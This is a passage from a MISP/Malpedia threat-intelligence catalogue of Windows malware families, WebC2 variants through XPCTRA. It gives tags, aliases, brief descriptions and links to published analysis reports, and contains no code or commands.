WebC2-Kt3 is also known as:

Table 3406. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Qbp

The tag is: *misp-galaxy:malpedia="WebC2-Qbp"*

WebC2-Qbp is also known as:

Table 3407. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Rave

The tag is: *misp-galaxy:malpedia="WebC2-Rave"*

WebC2-Rave is also known as:

Table 3408. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Table

The tag is: *misp-galaxy:malpedia="WebC2-Table"*

WebC2-Table is also known as:

Table 3409. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-UGX

The tag is: *misp-galaxy:malpedia="WebC2-UGX"*

WebC2-UGX is also known as:

Table 3410. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Yahoo

The tag is: *misp-galaxy:malpedia="WebC2-Yahoo"*

WebC2-Yahoo is also known as:

Table 3411. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebMonitor RAT

On its website, Webmonitor RAT is described as 'a very powerful, user-friendly, easy-to-setup and state-of-the-art monitoring tool. Webmonitor is a fully native RAT, meaning it will run on all Windows versions and languages starting from Windows XP and up, and perfectly compatible with all crypters and protectors.' Unit42 notes in their analysis that it is offered as C2-as-a-service and raises the controversial aspect that the builder allows to create client binaries that will not show any popup or dialogue during installation or while running on a target system.

The tag is: *misp-galaxy:malpedia="WebMonitor RAT"*

WebMonitor RAT is also known as:

- RevCode

Table 3412. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor
https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/
https://krebsonsecurity.com/2019/04/whos-behind-the-revcode-webmonitor-rat/
https://revcode.se/product/webmonitor/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-actors-target-comm-apps-such-as-zoom-slack-discord
https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/

WeControl

The tag is: *misp-galaxy:malpedia="WeControl"*

WeControl is also known as:

Table 3413. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wecontrol
https://unit42.paloaltonetworks.com/westeal/

WellMess

WellMess is A Remote Access Trojan written in GoLang and .NET. It has hard-coded User-Agents. Attackers deploy WellMess using separate tools which also allow lateral movement, for example "gost". Command and Control traffic is handled via HTTP using the Set-Cookie field and message body.

The tag is: *misp-galaxy:malpedia="WellMess"*

WellMess is also known as:

Table 3414. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess
https://us-cert.cisa.gov/ncas/alerts/aa21-116a
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf
https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf
https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html
https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://blog.talosintelligence.com/2020/08/attribution-puzzle.html
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://community.riskiq.com/article/541a465f/description
https://us-cert.cisa.gov/sites/default/files/publications/AA21-116A_Russian_Foreign_Intelligence_Service_Cyber_Operations_508C.pdf

WeSteal

The tag is: *misp-galaxy:malpedia="WeSteal"*

WeSteal is also known as:

Table 3415. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.westeal
https://unit42.paloaltonetworks.com/westeal/

WhisperGate

Destructive malware deployed against targets in Ukraine in January 2022.

The tag is: *misp-galaxy:malpedia="WhisperGate"*

WhisperGate is also known as:

- PAYWIPE

Table 3416. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate
https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine
https://github.com/OALabs/Lab-Notes/blob/main/WhisperGate/WhisperGate.ipynb
https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/
https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/
https://unit42.paloaltonetworks.com/atoms/ruinousursa/
https://www.crowdstrike.com/blog/lessons-from-past-cyber-operations-against-ukraine/
https://inquest.net/blog/2022/02/10/380-glowspark
https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/
https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html
https://www.crowdstrike.com/blog/who-is-ember-bear/
https://www.secureworks.com/blog/disruptive-attacks-in-ukraine-likely-linked-to-escalating-tensions
https://www.secureworks.com/blog/whispergate-not-notpetya
https://twitter.com/HuskyHacksMK/status/1482876242047258628
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://intel471.com/blog/russia-ukraine-conflict-cybercrime-underground

https://www.youtube.com/watch?v=2nd-f1dIfD4
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine
https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator.md
https://thehackernews.com/2022/02/putin-warns-russian-critical.html
https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa/
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/
https://www.bitdefender.com/blog/hotforsecurity/five-things-you-need-to-know-about-the-cyberwar-in-ukraine/
https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/
https://www.netskope.com/blog/netskope-threat-coverage-whispergate
https://blogs.blackberry.com/en/2022/01/threat-thursday-whispergate-wiper
https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html
https://lifars.com/2022/01/a-detailed-analysis-of-whispergate-targeting-ukrainian-organizations/
https://blogs.microsoft.com/on-the-issues/2022/01/15/mstic-malware-cyberattacks-ukraine-government/
https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/
https://www.splunk.com/en_us/blog/security/threat-advisory-strt-ta02-destructive-software.html
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://cert.gov.ua/article/18101
https://twitter.com/nunohaien/status/1484088885575622657
https://csirt-mon.wp.mil.pl/pl/articles6-aktualnosci/analysis-cyberattack-ukrainian-government-resources/
https://twitter.com/Libranalysis/status/1483128221956808704
https://www.crowdstrike.com/blog/how-crowdstrike-protects-against-data-wiping-malware/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf
https://stairwell.com/news/whispers-in-the-noise-microsoft-ukraine-whispergate/
https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks

https://www.splunk.com/en_us/blog/security/threat-advisory-strt-ta02-destructive-software.html?splunk
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/update-on-whispergate-destructive-malware-targeting-ukraine.html
https://rxored.github.io/post/analysis/whispergate/whispergate/
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-057A_Destructive_Malware_Targeting_Organizations_in_Ukraine.pdf
https://info.cyborgsecurity.com/hubfs/Emerging%20Threats/WhisperGate%20Malware%20Update%20-%20Emerging%20Threat.pdf
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html
https://zetter.substack.com/p/dozens-of-computers-in-ukraine-wiped
https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/return-of-pseudo-ransomware.html
https://blog.gigamon.com/2022/01/28/focusing-on-left-of-boom/
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://therecord.media/second-data-wiper-attack-hits-ukraine-computer-networks/
https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/
https://twitter.com/knight0x07/status/1483401072102502400
https://zetter.substack.com/p/hackers-were-in-ukraine-systems-months
https://maxkersten.nl/binary-analysis-course/malware-analysis/dumping-whispergates-wiper-from-an-eazfuscator-obfuscated-loader/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?
https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/
https://www.cisa.gov/uscert/ncas/alerts/aa22-057a
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf
https://www.youtube.com/watch?v=Ek3URIaC5O8
https://go.recordedfuture.com/hubfs/reports/pov-2022-0127.pdf
https://www.recordedfuture.com/whispergate-malware-corrupts-computers-ukraine/
https://www.brighttalk.com/webcast/15591/534324

WhiteBird

According to Dr.Web, WhiteBird is a backdoor written in C++ and designed to operate in both 32-bit and 64-bit Microsoft Windows operating systems. The configuration is encrypted with a single byte XOR key. An interesting feature is that the malware can be restricted to operate only within certain "working_hours" with a granularity of one minute.

The tag is: *misp-galaxy:malpedia="WhiteBird"*

WhiteBird is also known as:

Table 3417. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whitebird
https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf
https://st.drweb.com/static/new-www/news/2020/september/tek_rf_article_en.pdf

WhiteBlackCrypt

The tag is: *misp-galaxy:malpedia="WhiteBlackCrypt"*

WhiteBlackCrypt is also known as:

- WARYLOOK

Table 3418. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt
https://sebdraven.medium.com/whisperkill-vs-whiteblackcrypt-un-petit-soucis-de-fichiers-9c4dcd013316
https://www.checkmal.com/video/read/3605/

WildFire

The tag is: *misp-galaxy:malpedia="WildFire"*

WildFire is also known as:

Table 3419. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wildfire

WinDealer

Information stealer used by threat actor LuoYu.

The tag is: *misp-galaxy:malpedia="WinDealer"*

WinDealer is also known as:

Table 3420. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.windealer
https://blogs.jpcert.or.jp/en/2021/10/windealer.html
https://securelist.com/windealer-dealing-on-the-side/105946/
https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malware
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_7_leon-niwa-ishimaru_en.pdf
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf
https://securelist.com/windealer-dealing-on-the-side/105946

winlog

The tag is: *misp-galaxy:malpedia="winlog"*

winlog is also known as:

Table 3421. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winlog
https://github.com/Thibault-69/Keylogger-Windows-----WinLog

WinMM

The tag is: *misp-galaxy:malpedia="WinMM"*

WinMM is also known as:

Table 3422. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winmm
https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf

Winnti (Windows)

The tag is: *misp-galaxy:malpedia="Winnti (Windows)"*

Winnti (Windows) is also known as:

- BleDoor
- JUMPALL
- Pasteboy
- RbDoor

Table 3423. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti
https://securelist.com/games-are-over/70991/
http://web.br.de/interaktiv/winnti/english/
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html
https://github.com/br-data/2019-winnti-analyse/
https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/
http://blog.trendmicro.com/trendlabs-security-intelligence/pigs-malware-examining-possible-member-winnti-group/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://docplayer.net/162112338-Don-t-miss-the-forest-for-the-trees-gleaning-hunting-value-from-too-much-intrusion-data.html
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134508/winnti-more-than-just-a-game-130410.pdf
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://github.com/TKCERT/winnti-detector
https://www.fireeye.com/blog/threat-research/2021/01/emulation-of-kernel-mode-rootkits-with-speakeasy.html
https://go.recordedfuture.com/hubfs/reports/cta-2021-0921.pdf
https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf
https://www.carbonblack.com/2020/02/20/threat-analysis-active-c2-discovery-using-protocol-emulation-part2-winnti-4-0/
http://2015.ruxcon.org.au/assets/2015/slides/Ruxcon%202015%20-%20McCormack.pdf
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/

https://www.recordedfuture.com/chinese-apt-groups-target-afghan-telecommunications-firm/
https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf
https://github.com/superkhung/winnti-sniff
https://www.lastline.com/labsblog/helo-winnti-attack-scan/
https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques
https://content.fireeye.com/api/pdfproxy?id=86840
https://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf
https://content.fireeye.com/apt-41/rpt-apt41/
https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://securelist.com/apt-trends-report-q3-2020/99204/
https://quointelligence.eu/2020/04/winnti-group-insights-from-the-past/
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf
https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://github.com/TKCERT/winnti-nmap-script
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage
https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html
https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://github.com/TKCERT/winnti-suricata-lua
https://attack.mitre.org/groups/G0096
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive
https://www.tagesschau.de/investigativ/ndr/hackerangriff-chemieunternehmen-101.html
https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf
https://www.youtube.com/watch?v=_fstHQSK-kk
https://blogs.vmware.com/security/2021/11/monitoring-winnti-4-0-c2-servers-for-two-years.html

WinPot

WinPot is created to make ATMs by a popular ATM vendor to automatically dispense all cash from their most valuable cassettes.

The tag is: *misp-galaxy:malpedia="WinPot"*

WinPot is also known as:

- ATMPot

Table 3424. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winpot
https://securelist.com/atm-pos-malware-landscape-2017-2019/96750/
https://www.association-secure-transactions.eu/east-publishes-fraud-update-2-2018/
https://securelist.com/atm-robber-winpot/89611/

WinScreeny

Backdoor used in the EvilPlayout campaign against Iran's State Broadcaster.

The tag is: *misp-galaxy:malpedia="WinScreeny"*

WinScreeny is also known as:

Table 3425. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winscreeny
https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/

Winsloader

The tag is: *misp-galaxy:malpedia="Winsloader"*

Winsloader is also known as:

Table 3426. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Wipbot

The tag is: *misp-galaxy:malpedia="Wipbot"*

Wipbot is also known as:

- Epic
- Tavdig

Table 3427. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot
https://docs.broadcom.com/doc/waterbug-attack-group
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/

WMI Ghost

The tag is: *misp-galaxy:malpedia="WMI Ghost"*

WMI Ghost is also known as:

- Syndicasec
- Wimmie

Table 3428. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost
https://secrary.com/ReversingMalware/WMIGhost/
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

WndTest

The tag is: *misp-galaxy:malpedia="WndTest"*

WndTest is also known as:

Table 3429. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Wonknu

The tag is: *misp-galaxy:malpedia="Wonknu"*

Wonknu is also known as:

Table 3430. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu
https://unit42.paloaltonetworks.com/atoms/iron-taurus/

woody

The tag is: *misp-galaxy:malpedia="woody"*

woody is also known as:

Table 3431. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.woody
https://www.sans.org/reading-room/whitepapers/malicious/detailed-analysis-advanced-persistent-threat-malware-33814

Woody RAT

The tag is: *misp-galaxy:malpedia="Woody RAT"*

Woody RAT is also known as:

Table 3432. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.woodyrat
https://blog.malwarebytes.com/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild/

Woolger

The tag is: *misp-galaxy:malpedia="Woolger"*

Woolger is also known as:

- WoolenLogger

Table 3433. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf
https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf

WorldWind

Information Stealer.

The tag is: *misp-galaxy:malpedia="WorldWind"*

WorldWind is also known as:

Table 3434. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.worldwind
https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed

WORMHOLE

WORMHOLE is a TCP tunneler that is dynamically configurable from a C&C server and can communicate with an additional remote machine endpoint for a relay.

The tag is: *misp-galaxy:malpedia="WORMHOLE"*

WORMHOLE is also known as:

Table 3435. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf
https://content.fireeye.com/apt/rpt-apt38

WormLocker

The tag is: *misp-galaxy:malpedia="WormLocker"*

WormLocker is also known as:

- WormLckr

Table 3436. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wormlocker
https://twitter.com/Kangxiaopao/status/1355056807924797440

WpBruteBot

The tag is: *misp-galaxy:malpedia="WpBruteBot"*

WpBruteBot is also known as:

Table 3437. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wpbrutebot
https://www.zscaler.com/blogs/security-research/malware-leveraging-xml-rpc-vulnerability-exploit-wordpress-sites

WSCSPL

The tag is: *misp-galaxy:malpedia="WSCSPL"*

WSCSPL is also known as:

Table 3438. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl
https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

Wslink

The tag is: *misp-galaxy:malpedia="Wslink"*

Wslink is also known as:

- FinickyFrogfish

Table 3439. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink
https://twitter.com/darienhuss/status/1453342652682981378
https://www.welivesecurity.com/2021/10/27/wslink-unique-undocumented-malicious-loader-runs-server/
https://www.welivesecurity.com/wp-content/uploads/2022/03/eset_wsliknkvm.pdf

x4

The tag is: *misp-galaxy:malpedia="x4"*

x4 is also known as:

Table 3440. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.x4
https://www.gradiant.org/noticia/analysis-malware-cve-2017/

X-Agent (Windows)

The tag is: *misp-galaxy:malpedia="X-Agent (Windows)"*

X-Agent (Windows) is also known as:

- chopstick
- splm

Table 3441. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://assets.documentcloud.org/documents/3461560/Google-Aquarium-Clean.pdf
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf
http://www2.fireeye.com/rs/fireeye/images/rpt-apt28.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf

https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://securelist.com/apt-trends-report-q2-2020/97937/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://www.thecssc.com/wp-content/uploads/2018/10/4OctoberIOC-APT28-malware-advisory.pdf
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

XBot POS

The tag is: *misp-galaxy:malpedia="XBot POS"*

XBot POS is also known as:

Table 3442. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html

XBTL

The tag is: *misp-galaxy:malpedia="XBTL"*

XBTL is also known as:

Table 3443. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl

xCaon

Checkpoint Research found this backdoor, attributed to IndigoZebra, used to target Afghan and other Central-Asia countries, including Kyrgyzstan and Uzbekistan, since at least 2014.

The tag is: *misp-galaxy:malpedia="xCaon"*

xCaon is also known as:

Table 3444. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xcaon
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/

XData

The tag is: *misp-galaxy:malpedia="XData"*

XData is also known as:

- AESNI

Table 3445. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xdata
https://www.welivesecurity.com/2017/05/23/xdata-ransomware-making-rounds-amid-global-wannacryptor-scare/

XDSpy

According to ESET Research, XDDown is a primary malware component and is strictly a downloader. It persists on the system using the traditional Run key. It downloads additional plugins from the hardcoded C&C server using the HTTP protocol. The HTTP replies contain PE binaries encrypted with a hardcoded two-byte XOR key. Plugins include a module for reconnaissance on the affected system, crawling drives, file exfiltration, SSID gathering, and grabbing saved passwords.

The tag is: *misp-galaxy:malpedia="XDSpy"*

XDSpy is also known as:

Table 3446. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy
https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/
https://github.com/eset/malware-ioc/tree/master/xdspy/
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf

Xenon Stealer

The tag is: *misp-galaxy:malpedia="Xenon Stealer"*

Xenon Stealer is also known as:

Table 3447. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xenon
https://twitter.com/3xp0rtblog/status/1331974232192987142

X-Files Stealer

The tag is: *misp-galaxy:malpedia=" X-Files Stealer"*

```
X-Files Stealer is also known as:
```

Table 3448. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xfilesstealer
https://twitter.com/3xp0rtblog/status/1473323635469438978

XFSADM

The tag is: *misp-galaxy:malpedia="XFSADM"*

XFSADM is also known as:

Table 3449. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm
https://twitter.com/VK_Intel/status/1149454961740255232
https://twitter.com/r3c0nst/status/1149043362244308992

XFSCashNCR

The tag is: *misp-galaxy:malpedia="XFSCashNCR"*

XFSCashNCR is also known as:

Table 3450. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr
https://twitter.com/r3c0nst/status/1166773324548063232
https://blog.cyttek.com/2019/08/28/other-day-other-malware-in-the-way-died-exe/

XiaoBa

Ransomware.

The tag is: *misp-galaxy:malpedia="XiaoBa"*

XiaoBa is also known as:

- FlyStudio

Table 3451. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xiaoba
https://id-ransomware.blogspot.com/2017/10/xiaoba-ransomware.html

XP10

Ransomware.

The tag is: *misp-galaxy:malpedia="XP10"*

XP10 is also known as:

- FakeChrome Ransomware

Table 3452. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xp10
https://id-ransomware.blogspot.com/2020/08/xp10-ransomware.html

xPack

Symantec describes this as a decryptor/loader used by Chinese threat actor Antlion in campaigns targeting Taiwan.

The tag is: *misp-galaxy:malpedia="xPack"*

xPack is also known as:

- NERAPACK

Table 3453. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpack
https://thehackernews.com/2022/02/chinese-hackers-target-taiwanese.html

https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks

Xpan

The tag is: *misp-galaxy:malpedia="Xpan"*

Xpan is also known as:

Table 3454. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/
https://securelist.com/blog/research/78110/xpan-i-am-your-father/

XPCTRA

Incorporates code of Quasar RAT.

The tag is: *misp-galaxy:malpedia="XPCTRA"*

XPCTRA is also known as:

- Expectra

Table 3455. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpctra
https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html
